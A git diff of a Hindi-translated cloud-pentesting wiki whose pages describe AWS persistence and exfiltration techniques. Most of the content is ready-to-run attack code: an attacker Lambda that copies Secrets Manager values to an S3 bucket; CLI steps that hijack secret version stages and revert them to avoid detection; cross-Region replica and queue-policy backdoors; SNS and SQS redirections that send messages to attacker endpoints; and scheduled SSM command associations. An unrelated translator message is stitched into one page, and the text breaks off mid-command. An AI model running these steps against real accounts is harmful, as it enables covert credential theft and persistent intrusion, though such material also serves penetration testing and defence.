-../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### संसाधन नीतियों के माध्यम से - -यह **बाहरी खातों को रहस्यों तक पहुँच प्रदान करना** संभव है संसाधन नीतियों के माध्यम से। अधिक जानकारी के लिए [**Secrets Manager Privesc पृष्ठ**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) देखें। ध्यान दें कि **एक रहस्य तक पहुँचने के लिए**, बाहरी खाते को **रहस्य को एन्क्रिप्ट करने वाले KMS कुंजी तक भी पहुँच की आवश्यकता होगी**। - -### Secrets Rotate Lambda के माध्यम से - -स्वचालित रूप से **रहस्यों को घुमाने** के लिए एक कॉन्फ़िगर किया गया **Lambda** कॉल किया जाता है। यदि एक हमलावर **कोड** को **बदल** सकता है, तो वह सीधे **नए रहस्य को** अपने लिए **बाहर निकाल** सकता है। - -यहाँ इस प्रकार की कार्रवाई के लिए लैम्ब्डा कोड ऐसा दिख सकता है: -```python -import boto3 - -def rotate_secrets(event, context): -# Create a Secrets Manager client -client = boto3.client('secretsmanager') - -# Retrieve the current secret value -secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - -# Rotate the secret by updating its value -new_secret_value = rotate_secret(secret_value) -client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) - -def rotate_secret(secret_value): -# Perform the rotation logic here, e.g., generate a new password - -# Example: Generate a new password -new_secret_value = generate_password() - -return new_secret_value - -def generate_password(): -# Example: Generate a random password using the secrets module -import secrets -import string -password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) -return password -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md new file mode 100644 index 000000000..945c74bbe --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md @@ -0,0 +1,230 @@ +# AWS - Secrets Manager Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Resource Policies के माध्यम से + +Resource policies के माध्यम से बाहरी खातों को **secrets तक access प्रदान करना** संभव है। अधिक जानकारी के लिए [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) देखें। ध्यान दें कि किसी **secret तक access करने के लिए**, बाहरी खाते को उस secret को encrypt करने वाली **KMS key** तक भी **access की आवश्यकता** होगी। + +### Secrets Rotate Lambda के माध्यम से + +Secrets को स्वचालित रूप से **rotate** करने के लिए एक configured **Lambda** को कॉल किया जाता है। यदि attacker **change** कर सके तो वह सीधे नया **secret** स्वयं को **exfiltrate** कर सकता है। + +This is how lambda code for such action could look like: +```python +import boto3 + +def rotate_secrets(event, context): +# Create a Secrets Manager client +client = boto3.client('secretsmanager') + +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] + +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) + +def rotate_secret(secret_value): +# Perform the rotation logic here, e.g., generate a new password + +# Example: Generate a new password +new_secret_value = generate_password() + +return new_secret_value + +def generate_password(): +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password +``` +{{#include ../../../../banners/hacktricks-training.md}} + +### RotateSecret के माध्यम से rotation Lambda को attacker-controlled function में बदलें + +`secretsmanager:RotateSecret` का दुरुपयोग करके किसी secret को attacker-controlled rotation Lambda से rebind करें और तुरंत rotation ट्रिगर करें। मैलिशियस function rotation के चरणों (createSecret/setSecret/testSecret/finishSecret) के दौरान secret संस्करण (AWSCURRENT/AWSPENDING) को attacker sink (उदा., S3 या external HTTP) पर exfiltrate कर देता है। + +- आवश्यकताएँ +- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration. +- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation. + +- प्रभाव +- Attacker legit rotation code को बदले बिना secret value(s) प्राप्त कर लेता है। केवल rotation configuration को attacker Lambda की तरफ पॉइंट किया जाता है। अगर ध्यान न दिया जाए तो scheduled future rotations भी attacker के function को invoke करना जारी रखेंगे। + +- Attack steps (CLI) +1) Prepare attacker sink and Lambda role +- Exfiltration के लिए S3 bucket बनाएं और Lambda द्वारा trusted execution role बनाएं जिसमें secret पढ़ने और S3 में लिखने की permissions हों (साथ ही logs/KMS जैसी ज़रूरतें)। +2) Deploy attacker Lambda जो हर rotation step पर secret value(s) fetch करके S3 में लिखे। न्यूनतम rotation logic बस AWSCURRENT को AWSPENDING में copy कर सकता है और finishSecret में उसे promote कर सकता है ताकि service स्वस्थ रहे। +3) Rebind rotation and trigger +- `aws secretsmanager rotate-secret --secret-id --rotation-lambda-arn --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately` +4) उस secret के लिए S3 prefix list करके और JSON artifacts inspect करके exfiltration verify करें। +5) (Optional) detection कम करने के लिए original rotation Lambda को restore करें। + +- Example attacker Lambda (Python) exfiltrating to S3 +- Environment: `EXFIL_BUCKET=` +- Handler: `lambda_function.lambda_handler` +```python +import boto3, json, os, base64, datetime +s3 = boto3.client('s3') +sm = boto3.client('secretsmanager') +BUCKET = os.environ['EXFIL_BUCKET'] + +def write_s3(key, data): +s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json') + +def lambda_handler(event, context): +sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step'] +# Exfil both stages best-effort +def getv(**kw): +try: +r = sm.get_secret_value(**kw) +return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')} +except Exception as e: +return {'error': str(e)} +current = getv(SecretId=sid, VersionStage='AWSCURRENT') +pending = getv(SecretId=sid, VersionStage='AWSPENDING') +key = f"{sid.replace(':','_')}/{step}/{token}.json" +write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending}) +# Minimal rotation (optional): copy current->pending and promote in finishSecret +# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage) +``` +### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip) + +Secrets Manager के version staging labels का दुरुपयोग करके एक attacker-controlled secret version स्थापित करें और उसे एक custom stage (उदाहरण के लिए, `ATTACKER`) के तहत छुपा रखें, जबकि production मूल `AWSCURRENT` का उपयोग जारी रखे। किसी भी समय `AWSCURRENT` को attacker के version पर मूव करके dependent workloads को poison करें, फिर detection कम करने के लिए इसे restore करें। इससे secret name या rotation config बदले बिना stealthy backdoor persistence और rapid time-of-use manipulation संभव होता है। + +- आवश्यकताएँ +- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification) +- Target secret id in the Region. + +- प्रभाव +- एक छिपा हुआ, attacker-controlled version बनाए रखें और मांग पर `AWSCURRENT` को उस पर एटोमिक रूप से flip करें, जिससे कोई भी consumer जो समान secret name resolve करता है प्रभावित होगा। फ्लिप और त्वरित revert पता लगाने की संभावना कम करते हैं जबकि time-of-use compromise सक्षम होता है। + +- Attack steps (CLI) +- तैयारी +- `export SECRET_ID=` + +
+CLI commands +```bash +# 1) Capture current production version id (the one holding AWSCURRENT) +CUR=$(aws secretsmanager list-secret-version-ids \ +--secret-id "$SECRET_ID" \ +--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ +--output text) + +# 2) Create attacker version with known value (this will temporarily move AWSCURRENT) +BACKTOK=$(uuidgen) +aws secretsmanager put-secret-value \ +--secret-id "$SECRET_ID" \ +--client-request-token "$BACKTOK" \ +--secret-string {backdoor:hunter2!} + +# 3) Restore production and hide attacker version under custom stage +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" + +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage ATTACKER \ +--move-to-version-id "$BACKTOK" + +# Verify stages +aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated + +# 4) On-demand flip to the attacker’s value and revert quickly +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$BACKTOK" \ +--remove-from-version-id "$CUR" + +# Validate served plaintext now equals the attacker payload +aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text + +# Revert to reduce detection +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" +``` +
+ +- नोट्स +- जब आप `--client-request-token` प्रदान करते हैं, तो Secrets Manager इसे `VersionId` के रूप में उपयोग करता है। स्पष्ट रूप से `--version-stages` सेट किए बिना एक नया संस्करण जोड़ने से डिफ़ॉल्ट रूप से `AWSCURRENT` नए संस्करण पर चला जाता है, और पिछले संस्करण को `AWSPREVIOUS` के रूप में चिह्नित कर देता है। + + +### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy) + +Secrets Manager की multi-Region replication का दुरुपयोग करके target secret की एक replica कम-निगरानी वाले Region में बनाएं, उस Region में attacker-controlled KMS key से उसे encrypt करें, फिर उस replica को standalone secret में promote करें और उस पर permissive resource policy attach कर दें जो attacker को read access दे। प्राथमिक Region में मूल secret अपरिवर्तित रहता है, जिससे promoted replica के माध्यम से secret value तक स्थायी और stealthy पहुंच मिल जाती है जबकि primary पर लगे KMS/policy सीमाओं को बायपास किया जा सकता है। + +- आवश्यकताएँ +- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`. +- replica Region में: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (या `kms:PutKeyPolicy`) ताकि attacker principal को `kms:Decrypt` की अनुमति दी जा सके। +- एक attacker principal (user/role) जिसे promoted secret का read access दिया जा सके। + +- प्रभाव +- attacker-controlled KMS CMK और permissive resource policy के तहत standalone replica के माध्यम से secret value तक स्थायी cross-Region पहुँच। मूल Region में primary secret अप्रभावित रहता है। + +- Attack (CLI) +- Vars +```bash +export R1= # e.g., us-east-1 +export R2= # e.g., us-west-2 +export SECRET_ID= +export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +export ATTACKER_ARN=:user/ or role> +``` +1) रिप्लिका Region में हमलावर-नियंत्रित KMS key बनाएँ +```bash +cat > /tmp/kms_policy.json <<'JSON' +{"Version":"2012-10-17","Statement":[ +{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"} +]} +JSON +KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \ +--query KeyMetadata.KeyId --output text) +aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID" +# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal) +aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey +``` +2) attacker KMS key का उपयोग करके secret को R2 में replicate करें +```bash +aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \ +--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret +aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus' +``` +3) R2 में रिप्लिका को standalone के रूप में प्रमोट करें +```bash +# Use the secret name (same across Regions) +NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text) +aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME" +aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME" +``` +4) R2 में standalone secret पर permissive resource policy लागू करें +```bash +cat > /tmp/replica_policy.json < \ ---protocol http \ ---notification-endpoint http:/// \ ---topic-arn -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md new file mode 100644 index 000000000..ed56d5373 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md @@ -0,0 +1,113 @@ +# AWS - SNS स्थायी पहुँच + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### स्थायी पहुँच + +एक **SNS topic** बनाते समय आपको IAM policy में यह स्पष्ट करना होता है कि **किसे पढ़ने और लिखने की पहुँच है**। आप बाहरी accounts, roles के ARN, या **यहाँ तक कि "\*"** भी निर्दिष्ट कर सकते हैं।\ +निम्नलिखित policy AWS में हर किसी को **`MySNS.fifo`** नामक SNS topic पर पढ़ने और लिखने की पहुँच देती है: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] +} +``` +### सब्सक्राइबर बनाएँ + +सभी topics से सभी संदेशों को exfiltrating जारी रखने के लिए, attacker सभी topics के लिए **subscribers बना सकता है**। + +ध्यान दें कि यदि **topic is of type FIFO**, तो केवल प्रोटोकॉल **SQS** का उपयोग करने वाले subscribers ही उपयोग किए जा सकते हैं। +```bash +aws sns subscribe --region \ +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn +``` +### MessageBody पर FilterPolicy के माध्यम से Covert, selective exfiltration + +एक attacker जिसके पास किसी topic पर `sns:Subscribe` और `sns:SetSubscriptionAttributes` हैं, वह एक stealthy SQS subscription बना सकता है जो केवल उन संदेशों को आगे भेजता है जिनके JSON body एक बहुत संकुचित filter से मेल खाते हैं (उदाहरण के लिए, `{"secret":"true"}`). यह मात्रा और detection को कम करता है जबकि संवेदनशील रिकॉर्ड का exfiltration जारी रहता है। + +**Potential Impact**: Covert, low-noise exfiltration केवल लक्षित SNS messages को victim topic से प्राप्त करना। + +Steps (AWS CLI): +- सुनिश्चित करें कि attacker SQS queue policy victim `TopicArn` से `sqs:SendMessage` की अनुमति देता है (Condition `aws:SourceArn` equals the `TopicArn`). +- उस topic के लिए SQS subscription बनाएं: + +```bash +aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN +``` + +- Filter को message body पर लागू करें और केवल `secret=true` से मेल खाने दें: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}' +``` + +- वैकल्पिक stealth: raw delivery सक्षम करें ताकि केवल raw payload receiver पर पहुंचे: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true +``` + +- Validation: दो संदेश publish करें और पुष्टि करें कि केवल पहला attacker queue को मिलता है। उदाहरण payloads: + +```json +{"secret":"true","data":"exfil"} +{"secret":"false","data":"benign"} +``` + +- Cleanup: unsubscribe करें और यदि persistence परीक्षण के लिए attacker SQS queue बनाया गया था तो उसे delete करें। + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md deleted file mode 100644 index 6a7cbe0ad..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SQS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -अधिक जानकारी के लिए देखें: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### संसाधन नीति का उपयोग करना - -SQS में आपको IAM नीति के साथ **यह बताना होगा कि किसे पढ़ने और लिखने का अधिकार है**। बाहरी खातों, भूमिकाओं के ARN, या **यहाँ तक कि "\*"** को इंगित करना संभव है।\ -निम्नलिखित नीति AWS में सभी को **MyTestQueue** नामक कतार में सब कुछ एक्सेस करने की अनुमति देती है: -```json -{ -"Version": "2008-10-17", -"Id": "__default_policy_ID", -"Statement": [ -{ -"Sid": "__owner_statement", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": ["SQS:*"], -"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" -} -] -} -``` -> [!NOTE] -> आप हर बार जब एक नया संदेश कतार में डाला जाता है, तो **हमलावर के खाते में एक Lambda को ट्रिगर** कर सकते हैं (आपको इसे फिर से डालने की आवश्यकता होगी) किसी न किसी तरह। इसके लिए इन निर्देशों का पालन करें: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md new file mode 100644 index 000000000..bc873b20c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - SQS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### resource policy का उपयोग + +SQS में आपको एक IAM policy के माध्यम से यह बताना होता है कि **किसे पढ़ने और लिखने की पहुँच है**। बाहरी अकाउंट्स, roles के ARN, या **यहां तक कि "\*"** निर्दिष्ट किया जा सकता है।\ +निम्नलिखित policy AWS में सभी को **MyTestQueue** नामक queue के सब कुछ तक पहुँच देती है: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] +} +``` +> [!NOTE] +> आप यहाँ तक कर सकते हैं कि हर बार जब queue में कोई नया संदेश डाला जाए तो हमलावर के खाते में मौजूद **Lambda को trigger करें** (आपको इसे re-put करना होगा)। इसके लिए इन निर्देशों का पालन करें: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) + +### और SQS Persistence Techniques + +{{#ref}} +aws-sqs-dlq-backdoor-persistence.md +{{#endref}} + +{{#ref}} +aws-sqs-orgid-policy-backdoor.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md new file mode 100644 index 000000000..827155e0c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md @@ -0,0 +1,71 @@ +# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy + +{{#include ../../../../banners/hacktricks-training.md}} + +SQS Dead-Letter Queues (DLQs) का दुरुपयोग करके पीड़ित स्रोत कतार से चुपके से डेटा निकाला जा सकता है, उसकी RedrivePolicy को attacker-controlled queue की ओर पॉइंट करके। कम maxReceiveCount और सामान्य प्रोसेसिंग फेल्यर्स को ट्रिगर करके या उनका इंतज़ार करके, संदेश स्वचालित रूप से attacker DLQ पर डायवर्ट हो जाते हैं बिना producers या Lambda event source mappings को बदले। + +## Abused Permissions +- sqs:SetQueueAttributes पीड़ित स्रोत कतार पर (RedrivePolicy सेट करने के लिए) +- sqs:SetQueueAttributes attacker DLQ पर (RedriveAllowPolicy सेट करने के लिए) +- तेज़ी के लिए वैकल्पिक: sqs:ReceiveMessage स्रोत कतार पर +- सेटअप के लिए वैकल्पिक: sqs:CreateQueue, sqs:SendMessage + +## Same-Account Flow (allowAll) + +तैयारी (attacker account or compromised principal): +```bash +REGION=us-east-1 +# 1) Create attacker DLQ +ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text) +ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Allow any same-account source queue to use this DLQ +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}' +``` +निष्पादन (compromised principal के रूप में victim account में चलाएँ): +```bash +# 3) Point victim source queue to attacker DLQ with low retries +VICTIM_SRC_URL= +ATTACKER_DLQ_ARN= +aws sqs set-queue-attributes \ +--queue-url "$VICTIM_SRC_URL" --region $REGION \ +--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}' +``` +त्वरण (वैकल्पिक): +```bash +# 4) If you also have sqs:ReceiveMessage on the source queue, force failures +for i in {1..2}; do \ +aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \ +--max-number-of-messages 10 --visibility-timeout 0; \ +done +``` +I don't have the file contents. Please paste the markdown text from src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md that you want translated to Hindi (or confirm you want me to translate the entire file). +```bash +# 5) Confirm messages appear in attacker DLQ +aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--max-number-of-messages 10 --attribute-names All --message-attribute-names All +``` +उदाहरण साक्ष्य (एट्रिब्यूट्स में शामिल हैं DeadLetterQueueSourceArn): +```json +{ +"MessageId": "...", +"Body": "...", +"Attributes": { +"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..." +} +} +``` +## क्रॉस-एकाउंट वैरिएंट (byQueue) +attacker DLQ पर RedriveAllowPolicy सेट करें ताकि केवल विशिष्ट victim source queue ARNs की अनुमति हो: +```bash +VICTIM_SRC_ARN= +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}' +``` +## प्रभाव +- गुप्त, टिकाऊ data exfiltration/persistence — यह स्वचालित रूप से विफल संदेशों को पीड़ित SQS source queue से हमलावर-नियंत्रित DLQ में मोड़कर करता है, न्यूनतम संचालनगत शोर के साथ और producers या Lambda mappings में किसी भी प्रकार का परिवर्तन किए बिना। + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md new file mode 100644 index 000000000..08717eec3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md @@ -0,0 +1,38 @@ +# AWS - SQS OrgID Policy Backdoor + +{{#include ../../../../banners/hacktricks-training.md}} + +SQS queue resource policy का दुरुपयोग कर के aws:PrincipalOrgID condition का उपयोग करके किसी भी principal को जो target AWS Organization का हिस्सा है, चुपचाप Send, Receive और ChangeMessageVisibility अनुमति दी जा सकती है। यह एक org-scoped छिपा मार्ग बनाता है जो अक्सर उन नियंत्रणों से बच निकलता है जो सिर्फ explicit account या role ARNs या star principals को ही देखते हैं। + +### Backdoor policy (attach to the SQS queue policy) +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OrgScopedBackdoor", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"sqs:ReceiveMessage", +"sqs:SendMessage", +"sqs:ChangeMessageVisibility", +"sqs:GetQueueAttributes" +], +"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME", +"Condition": { +"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" } +} +} +] +} +``` +### कदम +- AWS Organizations API के साथ Organization ID प्राप्त करें। +- SQS queue ARN प्राप्त करें और ऊपर दिए गए statement को शामिल करते हुए queue policy सेट करें। +- उस Organization से संबंधित किसी भी principal के रूप में, queue में संदेश भेजें और प्राप्त करें ताकि access मान्य किया जा सके। + +### प्रभाव +- निर्दिष्ट AWS Organization के किसी भी account से SQS messages पढ़ने और लिखने के लिए Organization-wide छिपा हुआ पहुंच। + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md deleted file mode 100644 index 7b5e577f7..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - SSM Perssitence - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -अधिक जानकारी के लिए देखें: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md -{{#endref}} - -### Using ssm:CreateAssociation for persistence - -एक हमलावर जिसके पास अनुमति **`ssm:CreateAssociation`** है, वह SSM द्वारा प्रबंधित EC2 इंस्टेंस पर स्वचालित रूप से कमांड निष्पादित करने के लिए एक State Manager Association बना सकता है। इन एसोसिएशनों को एक निश्चित अंतराल पर चलाने के लिए कॉन्फ़िगर किया जा सकता है, जिससे ये इंटरैक्टिव सत्रों के बिना बैकडोर जैसी स्थिरता के लिए उपयुक्त हो जाते हैं। -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> यह स्थिरता विधि तब तक काम करती है जब तक EC2 इंस्टेंस को Systems Manager द्वारा प्रबंधित किया जा रहा है, SSM एजेंट चल रहा है, और हमलावर के पास संघ बनाने की अनुमति है। यह इंटरैक्टिव सत्रों या स्पष्ट ssm:SendCommand अनुमतियों की आवश्यकता नहीं है। **महत्वपूर्ण:** `--schedule-expression` पैरामीटर (जैसे, `rate(30 minutes)`) को AWS के न्यूनतम अंतराल 30 मिनट का सम्मान करना चाहिए। तात्कालिक या एक बार के निष्पादन के लिए, `--schedule-expression` को पूरी तरह से छोड़ दें — संघ निर्माण के बाद एक बार निष्पादित होगा। - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md new file mode 100644 index 000000000..00ba6aa29 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - SSM Perssitence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +{{#endref}} + +### ssm:CreateAssociation का उपयोग persistence के लिए + +जिसके पास अनुमति **`ssm:CreateAssociation`** है, वह State Manager Association बना सकता है जो SSM द्वारा प्रबंधित EC2 instances पर ऑटोमेटिक रूप से commands निष्पादित करे। इन associations को तय अंतराल पर चलाने के लिए कॉन्फ़िगर किया जा सकता है, जिससे ये interactive sessions के बिना backdoor-like persistence के लिए उपयुक्त होते हैं। +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets 